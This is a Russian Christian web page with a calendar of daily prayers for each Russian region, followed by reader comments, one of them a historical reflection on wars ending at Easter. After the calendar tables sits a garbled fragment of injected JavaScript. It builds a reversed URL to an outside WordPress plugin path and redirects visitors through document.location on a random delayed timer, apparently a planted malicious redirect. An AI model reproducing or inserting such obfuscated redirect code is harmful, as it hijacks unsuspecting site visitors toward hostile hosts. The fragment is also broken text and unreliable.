Мы все причастники Божьего естества в служении Ему и людям. Поэтому мы ежедневно молимся за нашу земную Родину — Россию.

Каждый день определяется для молитвы за конкретный регион России и мы, верующие в единого Бога-Творца и Спасителя нашего Иисуса Христа, объединяемся в молитве за определённый регион.
Большая просьба, предлагайте ниже в комментариях ваш город или регион, для молитвы за него. Пишите ваши пожелания, реакцию. Нам важен ваш отклик, отклик наших читателей! Пишите ободряющие, наставляющие тексты и Св. Писания. Пишите ваши молитвенные опыты, опыты отвеченных молитв. Включайтесь в эту большую молитвенную семью! Приглашайте к этой молитве ваших родных, друзей, вашу общину! Делитесь этой страницей в ваших соцсетях.
Информация о регионах периодически может меняться.
Зима
Число | Декабрь | Январь | Февраль |
1 | Республика Адыгея | Вся Россия | Свердловская область |
2 | Республика Алтай | Кировская область | Севастополь |
3 | Алтайский край | Костромская область | Республика Северная Осетия — Алания |
4 | Амурская область | Краснодарский край | Смоленская область |
5 | Архангельская область | Красноярский край | Ставропольский край |
6 | Астраханская область | Курганская область | Тамбовская область |
7 | Республика Башкортостан | Курская область | Республика Татарстан |
8 | Белгородская область | Ленинградская область | Тверская область |
9 | Брянская область | Липецкая область | Томская область |
10 | Республика Бурятия | Магаданская область | Тульская область |
11 | Владимирская область | Республика Марий Эл | Республика Тыва |
12 | Волгоградская область | Республика Мордовия | Тюменская область |
13 | Вологодская область | Московская область | Удмуртская Республика |
14 | Воронежская область | Мурманская область | Ульяновская область |
15 | Республика Дагестан | Ненецкий АО | Хабаровский край |
16 | Еврейская АО | Нижегородская область | Республика Хакасия |
17 | Забайкальский край | Новгородская область | Ханты-Мансийский АО — Югра |
18 | Ивановская область | Новосибирская область | Челябинская область |
19 | Республика Ингушетия | Омская область | Чеченская Республика |
20 | Иркутская область | Оренбургская область | Чувашская Республика |
21 | Кабардино-Балкарская Республика | Орловская область | Чукотский АО |
22 | Калининградская область | Пензенская область | Ямало-Ненецкий АО |
23 | Республика Калмыкия | Пермский край | Ярославская область |
24 | Калужская область | Приморский край | |
25 | Камчатский край | Псковская область | |
26 | Карачаево-Черкесская Республика | Ростовская область | |
27 | Республика Карелия | Рязанская область | |
28 | Республика Коми | Самарская область | |
29 | Республика Крым | Санкт-Петербург | |
30 | Кемеровская область — Кузбасс | Саратовская область | |
31 | Вся Россия | Сахалинская область |
Весна
Число | Март | Апрель | Май |
1 | Республика Адыгея | Костромская область | Севастополь |
2 | Республика Алтай | Краснодарский край | Республика Северная Осетия — Алания |
3 | Алтайский край | Красноярский край | Смоленская область |
4 | Амурская область | Курганская область | Ставропольский край |
5 | Архангельская область | Курская область | Тамбовская область |
6 | Астраханская область | Ленинградская область | Республика Татарстан |
7 | Республика Башкортостан | Липецкая область | Тверская область |
8 | Белгородская область | Магаданская область | Томская область |
9 | Брянская область | Республика Марий Эл | Тульская область |
10 | Республика Бурятия | Республика Мордовия | Республика Тыва |
11 | Владимирская область | Московская область | Тюменская область |
12 | Волгоградская область | Мурманская область | Удмуртская Республика |
13 | Вологодская область | Ненецкий автономный округ | Ульяновская область |
14 | Воронежская область | Нижегородская область | Хабаровский край |
15 | Республика Дагестан | Новгородская область | Республика Хакасия |
16 | Еврейская АО | Новосибирская область | Ханты-Мансийский АО — Югра |
17 | Забайкальский край | Омская область | Челябинская область |
18 | Ивановская область | Оренбургская область | Чеченская Республика |
19 | Республика Ингушетия | Орловская область | Чувашская Республика |
20 | Иркутская область | Пензенская область | Чукотский АО |
21 | Кабардино-Балкарская Республика | Пермский край | Ямало-Ненецкий АО |
22 | Калининградская область | Приморский край | Ярославская область |
23 | Республика Калмыкия | Псковская область | |
24 | Калужская область | Ростовская область | |
25 | Камчатский край | Рязанская область | |
26 | Карачаево-Черкесская Республика | Самарская область | |
27 | Республика Карелия | Санкт-Петербург | |
28 | Республика Коми | Саратовская область | |
29 | Республика Крым | Сахалинская область | |
30 | Кемеровская область — Кузбасс | Свердловская область | |
31 | Кировская область |
Лето
Число | Июнь | Июль | Август |
Осень
Число | Сентябрь | Октябрь | Ноябрь |
1 | Молитва за детей и за молодёжь | ||
2 | |||
3 | |||
4 | |||
5 | |||
6 | |||
7 | |||
8 | |||
9 | |||
10 | |||
11 | |||
12 | |||
13 | |||
14 | |||
15 | |||
16 | |||
17 | |||
18 | |||
19 | |||
20 | |||
21 | |||
22 | |||
23 | |||
24 | |||
25 | |||
26 | |||
27 | |||
28 | |||
29 | |||
30 | |||
31 |
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor has-alpha-channel-opacity»/>
Да благословит Бог Россию!
Поделитесь своими мыслями ниже, в комментариях.
Оставить комментарий очень просто. Напишите ваше имя и эл. почту (для получения уведомлений о возможных вам ответах) и делитесь вашими мыслями в комментариях. Регистрация единоразовая.
Мы в соцсетях
Солёное радио — Telegram, YouTube, ВКонтакте, Яндекс Дзен
Открытая семинария — Telegram, YouTube, ВКонтакте, Яндекс Дзен
4 комментария
Дмитрий
03.08.2022 at 00:31Просьба помолиться о благоденствии города Верхотурье на Урале. Верхотурского Кремля и маленького театра при нем.
Дмитрий Беляков
03.08.2022 at 07:29Принято! Эта просьба будет вне общего молитвенного списка.
Расскажите, пожалуйста, поподробнее о проблеме.
Спасибо!
Михаил Чернушенко
02.02.2023 at 12:12Русские люди должны помнить, что обе Отечественные войны закончились в столицах врага на Пасху.
Пасха 1814 г. была по Юлианскому календарю («старому стилю») 29 марта, что в XIX в. соответствовало 10 апр. по европейскому «новому стилю» (разница была 12 дней). Париж был взят в четверг шестой седмицы Поста, т.е. 19 (31) марта.
Отречение Наполеона в Фонтенбло было 23 марта, т.е. 4 апр. н.ст., в понедельник Страстной седмицы. В среду 25 марта (6 апр.) Наполеон отрёкся повторно и за своих наследников, и в этот же день Сенат провозгласил королём Людовика XVIII. Окончательно все условия отречения были утверждены 30 марта (11 апреля), т.е. в пасхальный Светлый понедельник.
Гитлер застрелился 17 (30) апреля, в понедельник Страстной седмицы. Капитуляцию Германии подписали 24 апреля (7 мая н. ст.), т.е. в Светлый понедельник, а окончательно — в ночь на 26 апреля (9 мая), т.е. на среду Светлой седмицы.
В 1814 г. в Париже русское воинство во главе с царём Александром служило Пасхальную службу на той самой площади Революции (она же площадь Согласия, Place de la Concorde), где стояла гильотина и отрезАла головы Людовику XVI, королеве и прочим «врагам народа», как впрочем, и «друзьям народа» вроде Робеспьера. Вот где слава России. В конце той службы присутствовавшие французские генералы со слезами на глазах тоже подходили и целовали кресты в руках усталых русских армейских священников.
(Помните начало фильма «Фантомас»? Та самая площадь Согласия…)
Пасхальный годовой цикл, в отличие от других календарных циклов, связан с прямым вторжением Бога в историю.
Дмитрий Беляков
02.02.2023 at 21:36Михаил, спасибо за эту информацию! Благослови, Бог!